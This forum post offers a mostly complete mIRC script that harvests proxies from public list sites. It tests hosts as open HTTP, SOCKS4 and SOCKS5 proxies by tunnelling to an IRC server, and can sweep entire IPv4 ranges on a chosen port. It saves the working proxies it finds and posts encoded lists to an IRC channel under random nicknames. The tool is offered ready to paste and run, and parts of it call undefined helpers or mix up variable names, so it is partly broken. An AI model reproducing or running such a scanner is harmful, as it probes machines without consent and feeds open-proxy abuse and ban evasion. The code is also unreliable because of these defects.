| independent911 |
| Active user |
 |
|
| Joined: Aug 01, 2007 |
| Posts: 38 |
| Location: Canada,Qc |
|
|
 |
|
 |
|
Put in remotes of mIRC (ALT+R) click Ok. Type: /leech
Need mIRCv6.21 or higher
Enjoy
-----
| Code: | alias varset {
unset %incvar
:varset
inc %incvar
set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
if (%incvar >= $numtok($1,59)) return
goto varset
}
on 1:SOCKOPEN:p-l*:{
if ($sockerr) return
sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
sockread -fn &buffer
if (*.*.*.*:* iswm $bvar(&buffer,1,200).text) {
%inc.a = 0
%MAX.a = $bvar(&buffer,0)
while (%inc.a < %max.a) {
inc %inc.a 300
%text.a = $bvar(&buffer,$calc(%inc.a -299),%inc.a).text
%maximum = $numtok(%text.a,60)
set %incthashit 1
while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
}
elseif (%inc.a >= %max.a) {
%text.a = $bvar(&buffer,$calc(%inc.a -299),%max.a).text
%maximum = $numtok(%text.a,60)
set %incthashit 1
while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
unset %inc.a,%max.a
}
}
}
on 1:SOCKOPEN:nntime*:{
if ($sockerr) return
sockwrite -n $sockname GET http://nntime.com/proxy-list- $+ $remove($sockname,nntime) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:nntime*:{
sockread -n %temp
;echo -a $htmlfree(%temp)
if ($getiphost2($htmlfree(%temp))) sc4n $getiphost2($htmlfree(%temp))
}
on 1:SOCKOPEN:sworld*:{
if ($sockerr) return
sockwrite -n $sockname GET http://socks-world.blogspot.com/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sworld*:{
sockread -n %temp
;echo -a $htmlfree(%temp)
if ($getiphost2($htmlfree(%temp))) s4.scan $getiphost2($htmlfree(%temp))
if ($getiphost2($htmlfree(%temp))) s5.scan $getiphost2($htmlfree(%temp))
}
alias leech {
echo @proxyscan 4 $+ $timestamp * Now leeching proxy-lists over the web, mIRC might freeze (if so use CTRL + BREAK)
.timeralive -o 1 5 sockopen alive aliveproxylist.blogspot.com 80
.timerNNtime 1 1 sockopen nntime01 nntime.com 80
.timerproxy4free -o 1 5 sockopen pxy4free1 www.proxy4free.com 80
.timerproxy4free1 -o 1 15 sockopen pxy4free2 www.proxy4free.com 80
.timeranonchk -o 1 5 sockopen anonchk1 www.anonymitychecker.com 80
.timeranonchk1 -o 1 15 sockopen anonchk2 www.anonymitychecker.com 80
.timerspl -o 1 0 sockopen xspl socksproxylists.com 80
.timernn2 1 $calc(10*1) sockopen nntime02 nntime.com 80
.timernn3 1 $calc(10*2) sockopen nntime03 nntime.com 80
.timernn4 1 $calc(10*3) sockopen nntime04 nntime.com 80
.timernn5 1 $calc(10*4) sockopen nntime05 nntime.com 80
.timernn6 1 $calc(10*5) sockopen nntime06 nntime.com 80
.timernn7 1 $calc(10*6) sockopen nntime07 nntime.com 80
.timernn8 1 $calc(10*7) sockopen nntime08 nntime.com 80
.timernn9 1 $calc(10*8) sockopen nntime09 nntime.com 80
.timernn10 1 $calc(10*9) sockopen nntime10 nntime.com 80
.timernn11 1 $calc(10*10) sockopen nntime11 nntime.com 80
.timernn12 1 $calc(10*11) sockopen nntime12 nntime.com 80
.timernn13 1 $calc(10*12) sockopen nntime13 nntime.com 80
.timernn14 1 $calc(10*13) sockopen nntime14 nntime.com 80
.timernn15 1 $calc(10*14) sockopen nntime15 nntime.com 80
.timernn16 1 $calc(10*15) sockopen nntime16 nntime.com 80
sockopen p-l1 proxies.my-proxy.com 80
.timersworld 1 1 sockopen sworld socks-world.blogspot.com 80
.timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
.timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
.timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
.timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
.timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
.timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
.timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
.timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
.timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
.timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
.timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
.timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
.timersam1 1 10 sockopen sam01 samair.ru 80
.timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
.timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
.timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
.timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
.timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
.timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
.timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
.timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
.timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
.timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
.timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
.timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
.timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
.timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
.timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
.timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
.timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
.timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
.timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
.timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
.timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
.timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
.timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
.timerAntiproxy -o 1 250 sockopen anti proxy.antipalivo.ru 80
.timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
if ($sockerr) { return }
sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
sockread -fn &buffer
%max.b = $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,0,60)
%inc.b = 0
while (%max.b > %inc.b) { sc4n $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,%inc.b,60) | inc %inc.b }
}
on 1:SOCKREAD:alive*:{
sockread -n %temp
if ($getiphost2(%temp)) {
if (*Protocol*SOCKS4* iswm %temp) {
s4.scan $getiphost2($gettok(%temp,1,44))
s4.scan $getiphost2($gettok(%temp,2,44))
s4.scan $getiphost2($gettok(%temp,3,44))
s4.scan $getiphost2($gettok(%temp,4,44))
s4.scan $getiphost2($gettok(%temp,5,44))
s4.scan $getiphost2($gettok(%temp,6,44))
s4.scan $getiphost2($gettok(%temp,7,44))
s4.scan $getiphost2($gettok(%temp,8,44))
s4.scan $getiphost2($gettok(%temp,9,44))
s4.scan $getiphost2($gettok(%temp,10,44))
s4.scan $getiphost2($gettok(%temp,11,44))
s4.scan $getiphost2($gettok(%temp,12,44))
s4.scan $getiphost2($gettok(%temp,13,44))
s4.scan $getiphost2($gettok(%temp,14,44))
s4.scan $getiphost2($gettok(%temp,15,44))
s4.scan $getiphost2($gettok(%temp,16,44))
s4.scan $getiphost2($gettok(%temp,17,44))
s4.scan $getiphost2($gettok(%temp,18,44))
goto end
}
elseif (*Protocol*SOCKS5* iswm %temp) {
s5.scan $getiphost2($gettok(%temp,1,44))
s5.scan $getiphost2($gettok(%temp,2,44))
s5.scan $getiphost2($gettok(%temp,3,44))
s5.scan $getiphost2($gettok(%temp,5,44))
s5.scan $getiphost2($gettok(%temp,5,44))
s5.scan $getiphost2($gettok(%temp,6,44))
s5.scan $getiphost2($gettok(%temp,7,44))
s5.scan $getiphost2($gettok(%temp,8,44))
s5.scan $getiphost2($gettok(%temp,9,44))
s5.scan $getiphost2($gettok(%temp,10,44))
s5.scan $getiphost2($gettok(%temp,11,44))
s5.scan $getiphost2($gettok(%temp,12,44))
s5.scan $getiphost2($gettok(%temp,13,44))
s5.scan $getiphost2($gettok(%temp,15,44))
s5.scan $getiphost2($gettok(%temp,15,44))
s5.scan $getiphost2($gettok(%temp,16,44))
s5.scan $getiphost2($gettok(%temp,17,44))
s5.scan $getiphost2($gettok(%temp,18,44))
goto end
}
else {
sc4n $getiphost2($gettok(%temp,1,44))
sc4n $getiphost2($gettok(%temp,2,44))
sc4n $getiphost2($gettok(%temp,3,44))
sc4n $getiphost2($gettok(%temp,5,44))
sc4n $getiphost2($gettok(%temp,5,44))
sc4n $getiphost2($gettok(%temp,6,44))
sc4n $getiphost2($gettok(%temp,7,44))
sc4n $getiphost2($gettok(%temp,8,44))
sc4n $getiphost2($gettok(%temp,9,44))
sc4n $getiphost2($gettok(%temp,10,44))
sc4n $getiphost2($gettok(%temp,11,44))
sc4n $getiphost2($gettok(%temp,12,44))
sc4n $getiphost2($gettok(%temp,13,44))
sc4n $getiphost2($gettok(%temp,15,44))
sc4n $getiphost2($gettok(%temp,15,44))
sc4n $getiphost2($gettok(%temp,16,44))
sc4n $getiphost2($gettok(%temp,17,44))
sc4n $getiphost2($gettok(%temp,18,44))
}
:END
.timerOFF $+ $sockname 1 5 sockclose $sockname
}
}
on 1:SOCKOPEN:alive*:{
if ($sockerr) return
sockwrite -n $sockname GET http://aliveproxylist.blogspot.com/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:proxy4free*:{
sockread -n %temp
%hfreedtxt = $htmlfree(%temp)
if ($getiphost2(%hfreedtxt)) { sc4n $v1 | goto end }
if (%hfreedtxt != $null) && ($gettok(%hfreedtxt,1,46) isnum) && ($gettok(%hfreedtxt,2,46) isnum) && ($gettok(%hfreedtxt,3,46) isnum) && ($gettok(%hfreedtxt,4,46) isnum) set %pxytmp $wildtok(%hfreedtxt,*.*.*.*,1,32)
if (%hfreedtxt != $null) && (*.*.*.* iswm %pxytmp) && (%hfreedtxt isnum) { sc4n $getiphost2(%pxytmp %hfreedtxt) | unset %pxytmp }
:END
}
on 1:SOCKOPEN:proxy4free*:{
if ($sockerr) return
unset %hfreedtxt,%pxytmp
sockwrite -n $sockname GET http://www.proxy4free.com/page $+ $remove($sockname,proxy4free) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anonchk*:{
sockread -n %temp11
%hfreedtxt1 = $htmlfree(%temp11)
if ($getiphost2(%hfreedtxt11)) { sc4n $v1 | goto end }
if (%hfreedtxt11 != $null) && ($gettok(%hfreedtxt11,1,46) isnum) && ($gettok(%hfreedtxt11,2,46) isnum) && ($gettok(%hfreedtxt11,3,46) isnum) && ($gettok(%hfreedtxt11,4,46) isnum) set %pxytmp1 $wildtok(%hfreedtxt11,*.*.*.*,1,32)
if (%hfreedtxt11 != $null) && (*.*.*.* iswm %pxytmp11) && (%hfreedtxt11 isnum) { sc4n $getiphost2(%pxytmp11 %hfreedtxt11) | unset %pxytmp11 }
:END
}
on 1:SOCKOPEN:anonchk*:{
if ($sockerr) return
unset %hfreedtxt11,%pxytmp11
sockwrite -n $sockname GET http://www.anonymitychecker.com/page $+ $remove($sockname,anonchk) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:spl*:{
sockread -n %temp1
%hfreedtxt1 = $htmlfree(%temp1)
:INC
inc %inc.x
if (*@SOCKS4* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s4.scan $getiphost2($v2) }
if (*@SOCKS5* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s5.scan $getiphost2($v2) }
if (30 >= %inc.x) goto inc
:END
unset %inc.x
}
on 1:SOCKOPEN:spl*:{
if ($sockerr) return
unset %hfreedtxt1,%pxytmp1
sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/ $+ $sock($sockname).mark HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:xspl*:{
sockread -n %temp1
if (*a*href*.htm* iswm %temp1) {
set %xspl $remove($wildtok(%temp1,*.htm*,1,32),href=,",$chr(62))
%xtmp = SPL $+ $r(0,99999)
sockopen %xtmp $sock($sockname).ip 80
sockmark %xtmp %xspl
.timerOFF $+ $sockname 1 5 sockclose $sockname
}
}
on 1:SOCKOPEN:xspl*:{
if ($sockerr) return
unset %hfreedtxt1,%pxytmp1
sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anti*:{
sockread -n &buffer
%hfreedtxt2 = $htmlfree($bvar(&buffer,1,$bvar(&buffer,0)).text)
if (*Proxy*list* iswm %hfreedtxt2) { %type1 = pxy }
if (*SOCKS4* iswm %hfreedtxt2) { %type1 = s4 }
if (*SOCKS5* iswm %hfreedtxt2) { %type1 = s5 }
if (*name*=*'*';* iswm %hfreedtxt2) set %pxytmp2 $remove(%hfreedtxt2,name,=,',;)
if (port*=*;* iswm %hfreedtxt2) {
set %port $+ $gettok($remove(%hfreedtxt2,port),1,32) $remove($gettok(%hfreedtxt2,3,32),;)
}
if (*=*+*/*;* iswm %hfreedtxt2) {
%eval = % $+ $gettok(%hfreedtxt2,3,32)
%evall = $eval([ [ %eval ] ],1)
set %parsed $calc(%evall + $gettok(%hfreedtxt2,5-6,32) $remove($gettok(%hfreedtxt2,7,32),;))
if (%type1 == pxy) sc4n %pxytmp2 %parsed
if (%type1 == s4) s4.scan %pxytmp2 %parsed
if (%type1 == s5) s5.scan %pxytmp2 %parsed
unset %port*,%parsed,%pxytmp2
}
}
on 1:SOCKOPEN:anti*:{
if ($sockerr) return
unset %port*,%parsed,%pxytmp2
sockwrite -n $sockname GET http://proxy.antipalivo.ru/ HTTP/1.0
sockwrite -n $sockname $crlf
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias htmlfree return $regsubex($$1-,/^[^<]*>|<[^>]*>|<[^>]*$/g,)
alias sc4n {
if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
if (666* !iswm $2) && (7000 != $2) {
if ($read($pxy,w,* $+ $1 $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | halt }
echo @Proxyscan Scanning: $1 $2
sockopen scan $+ $r(0,99999999999999) $1 $2
halt
}
}
if ($getiphost2($1-)) {
if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | goto next }
echo @Proxyscan Scanning: $getiphost2($1-)
sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
goto next
}
if (*.*.*.* !iswm $1-) goto next
if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { echo @Proxyscan $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. | goto next }
:next
}
alias setinterval {
echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
echo -a To run the script without problem try an interval between 500 and 5000
:restart
%interval = $?="Enter interval in milliseconds, 1 to 10000 "
if (!$!) || ($! >= 10000) goto restart
}
alias scan.win { %def.s = $def.s | %def.p = 6667 | %def.c = proxies | if (%interval == $null) set %interval 1 | if ($window(@proxyscan) == $null) { localinfo | window -e @proxyscan } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
[-Proxy Scan-]
.Leech Proxy Now!:leech
.Show window: scan.win | window -a @proxyscan | echo @proxyscan Paste your proxies here
.-
.Set interval of scan: setinterval
.-
.Show good proxies: /run $pxy
.Sort proxy list: /filterfile $pxy
.-
.Scan multiple proxy files: selectmultiplefile
.-
.Abort scanning: abord | /SOCKCLOSE SCAN*
.Clear window: /clear
.Hide window: window -h @proxyscan
.-
.Proxy lists
..ProxyGod: run http://proxygod.com.com/
..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
..Xorum: run http://www.xroxy.com/xorum/
..Proxy4Free: run http://www.proxy4free.com
..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
..Proxz:run http://www.proxz.com/
..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
..Samair:run http://www.samair.ru/proxy/
..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
..HighAnonimity: run http://highanonymity.com/
..mazafaka: run http://proxy.mazafaka.ru/
}
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
if (/ !isin $1) && ($getiphost2($1-)) {
write temp $getiphost2($1-)
.timerscanfile 1 1 .pxyfile temp %interval
.timerscanfileoff 1 1.1 .remove temp
return
}
if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias sk {
write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(p %msg) | unset %msg }
set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr > 0) {
if (_ isin $sockname) { .timersS 1 90 sockopen scan_ $def.s %def.p }
if (_ !isin $sockname) echo 15 @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
return
}
if (_ !isin $sockname) {
sockwrite -n $sockname CONNECT $def.s $+ : $+ %def.p HTTP/1. $+ $r(0,1) $+ $crlf
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
return
}
sockwrite -n $sockname $crlf
}
alias codedipport { return $base($longip($gettok($1,1,58)),10,36) $+ : $+ $base($gettok($1,2,58),10,36) }
alias dcodedipport { return $longip($base($gettok($1,1,58),36,10)) $+ : $+ $base($gettok($1,2,58),36,10) }
alias success { echo @proxyscan 3* $1- | if ($wildtok(%msg,*,0,32) >= 3) unset %msg | %msg = $codedipport($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 90 sockopen scan_ $def.s %def.p
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
sockread %scan
tokenize 32 %scan
set %scan.ip $sock($sockname).ip
set %scan.port $sock($sockname).port
if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
if (ERROR isin $1) && (_ isin $sockname) .timersS 1 90 sockopen scan_ $def.s %def.p
if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
if (*NOTICE AUTH* iswmcs $1-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname USER $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname JOIN :# $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32) }
if (451 == $gettok(%scan,2,32)) || (43* iswm $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname USER %av "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) }
if (HTTP/* iswm $gettok(%scan,1,32)) {
if ($gettok(%scan,2,32) > 200) { echo 4 @proxyscan Bad: $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $iif(Method not allowed iswm $3-,CoDeeN Proxy,$3-) $+ ) | sockclose $sockname | return }
if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... | sockwrite -n $sockname $crlf | sockwrite -n $sockname $crlf }
}
if (*NOTICE AUTH* iswmcs $gettok(%scan,1-3,32)) && (_ !isin $sockname) || (ERROR: == $1) && (_ !isin $sockname) {
set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
if (%readi == $null) {
success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
}
if (%readi != $null) {
$pb * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
halt
}
unset %readi
}
unset %scan
}
on 1:sockclose:scan*:echo 4 @proxyscan $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated.
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32)
alias pb return echo @proxyscan
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias range {
unset %range*
set %range1 $gettok($1,1,46)
set %range2 $gettok($1,2,46)
set %range3 $gettok($1,3,46)
.timerRANGEr -om 0 300 next $2-
sockwrite -n scan_ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Starting at $1 on Port $2 Sv $+ $3 )
}
menu menubar {
Open Socks Scanner: window -e @sock4 | window -e @sock5
}
alias next {
:START
set %temp $r(0,999999999999)
if ($sock(s $+ $2 $+ chk $+ %temp).name != $null) goto START
inc %range4
sockopen s $+ $2 $+ chk $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 $1
goto next
:NEXT
if (%range4 >= 255) { inc %range3 | set %range4 0 }
if (%range3 >= 255) { inc %range2 | set %range3 0 }
if (%range2 >= 255) { unset %range* | sockwrite -n scan_ PRIVMSG : $+ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Scan halted.) | .timerRANGE off | halt }
}
on *:INPUT:@sock5:{
write temp.s5 $getiphost2($1-)
.timerscans5file 1 1 .s5file temp.s5 %interval
.timerscans5fileoff 1 1.1 .remove temp.s5
}
on *:INPUT:@sock4:{
write temp.s4 $getiphost2($1-)
.timerscans4file 1 1 .s4file temp.s4 %interval
.timerscans4fileoff 1 1.1 .remove temp.s4
}
alias s5.scan {
if (!$1) goto END
window -e @sock5
if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock5 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $1 $2
echo @sock5 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock5 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
menu @sock5 {
Scan SOCK5 IP range:range $?="IP: 59.90.0.0" $?="Port" 5
-
Check current SOCK5 list: /run sock5.txt
Sort file: /filterfile sock5.txt
-
Set interval of scan:setinterval
Scan multiple SOCK5 files: selectmultiplefiles5
-
ABORT SCANS: .play stop | .timerranger off | sockclose *chk*
Clear: /clear
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
Scan SOCK4 IP range:range $?="IP: 59.90.0.0" $?="Port" 4
-
Check current SOCK4 list: /run sock4.txt
Sort list: /filterfile sock4.txt
-
Set interval of scan: setinterval
Scan multiple SOCK4 files: selectmultiplefiles4
-
ABORT SCANS: .play stop | .timer* off | sockclose *chk*
Clear: clear
}
alias s4.scan {
if (!$1) goto END
window -e @sock4
if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock4 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $1 $2
echo @sock4 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock4 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
on *:sockopen:s5chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock5 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s5time $ticks
.bset &bvar5 1 5 1 0
.sockwrite -n $sockname &bvar5
.bunset &bvar5
return
}
on *:sockread:s5chk*:{
if ($sockbr) { return }
.sockread &bsocks5
if ($bvar(&bsocks5,1,2) != 5 0) { echo 4 @sock5 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks5,2-) | return }
if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
%def.s = $def.s
bset &socks5 1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
.sockwrite -n $sockname &socks5
.bunset &socks5
sockrename $sockname chks5 $+ $remove($sockname,s5chk)
}
}
on 1:SOCKREAD:chks5*:{
sockread %socks5
tokenize 32 %socks5
if (*NOTICE AUTH* iswmcs $1-3) && (!$sock($sockname).mark) || (ERROR: == $1) && (!$sock($sockname).mark) {
sockmark $sockname c
window -e @sock5
suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s5time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
alias suces4 { echo @sock4 3* $1- | if ($wildtok(%msgs4,*,0,32) >= 3) unset %msgs4 | set %msgs4 $codedipport($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 3* $1- | if ($wildtok(%msgs5,*,0,32) >= 3) unset %msgs5 | set %msgs5 $codedipport($1) %msgs5 | sk5 }
alias sk4 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(4 %msgs4) | unset %msgs4 }
%rad = sock4.txt
set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %rad*
}
alias sk5 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $+ $gettok(%def.c,1,32) : $+ $colourencode(5 %msgs5) | unset %msgs5 }
%red = sock5.txt
set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %red*
}
on *:sockopen:s4chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock4 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s4time $ticks
%def.s = $def.s
.bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
.sockwrite $sockname &bvar4
.bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
if ($sockbr) { return }
.sockread &bsocks4
if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks4,2-) | return }
if ($bvar(&bsocks4,2) == 90) {
window -e @sock4
suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s4.time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
